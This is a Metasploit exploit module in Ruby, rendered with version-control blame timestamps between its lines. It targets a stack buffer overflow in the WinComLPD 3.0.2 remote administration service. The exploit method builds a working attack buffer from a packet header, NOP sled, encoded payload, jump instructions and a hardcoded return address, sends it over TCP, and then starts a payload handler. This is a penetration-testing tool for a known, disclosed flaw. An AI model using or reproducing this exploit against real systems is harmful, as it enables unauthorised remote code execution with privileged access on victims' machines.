2008-02-07 23:08:14 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2008-02-07 23:08:14 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-02-07 23:08:14 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2008-02-07 23:08:14 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2008-02-07 23:08:14 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'WinComLPD <= 3.0.2 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in WinComLPD <= 3.0.2.
|
2010-04-30 08:40:19 +00:00
|
|
|
By sending an overly long authentication packet to the remote
|
|
|
|
adminstration service, an attacker may be able to execute arbitrary
|
|
|
|
code.
|
2008-02-07 23:08:14 +00:00
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
2008-10-02 05:23:59 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-09-12 04:22:58 +00:00
|
|
|
['CVE', '2008-5159'],
|
|
|
|
['OSVDB', '42861'],
|
2008-02-07 23:08:14 +00:00
|
|
|
['BID', '27614'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x0a",
|
2010-04-30 08:40:19 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2008-02-07 23:08:14 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2008-02-08 22:54:12 +00:00
|
|
|
[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],
|
2008-02-07 23:08:14 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => 'Feb 4 2008',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([Opt::RPORT(13500)], self)
|
2008-02-07 23:08:14 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
# 'net start lpdservice' after you migrate!
|
|
|
|
sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
|
|
|
|
sploit << make_nops(872 - payload.encoded.length)
|
|
|
|
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
|
|
|
|
sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
|
|
|
|
sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-02-07 23:08:14 +00:00
|
|
|
sock.puts(sploit)
|
|
|
|
sleep(5)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2009-09-12 04:22:58 +00:00
|
|
|
end
|